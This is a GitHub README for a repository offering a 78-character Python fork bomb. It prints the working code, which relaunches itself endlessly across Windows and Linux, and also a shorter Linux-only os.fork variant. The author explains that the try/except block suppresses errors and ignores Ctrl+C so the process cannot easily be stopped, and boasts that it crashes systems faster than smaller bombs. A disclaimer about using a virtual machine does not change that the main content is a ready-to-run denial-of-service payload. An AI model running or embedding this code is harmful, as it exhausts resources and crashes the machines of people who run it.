Skip to content

Latest commit

 

History

History
30 lines (20 loc) · 1.02 KB

File metadata and controls

30 lines (20 loc) · 1.02 KB

python_fork_bomb

A 78-character Python fork bomb.

Warning

A fork bomb is a program that recursively forks itself, consuming all available system resources and eventually leading to a system crash. By running this script, you take full responsibility for any damage it may cause. If you want to test it safely, you can use a virtual environment/machine. Use at your own risk.

The code & explanation

import sys,os
while 1:
 try:os.popen(sys.executable+' '+__file__)
 except:pass

While smaller fork bombs exist, mine creates more processes, leading to a faster crash. The following script:

import os
while 1:os.fork()

is smaller, but only works on Linux. For my script, it works on both Windows and Linux.

The try-except block is to prevent the script from crashing if it fails to fork. It also ignores Ctrl+C to prevent the user from stopping the script. It also makes the script silent (it doesn't print any error messages).

Requirements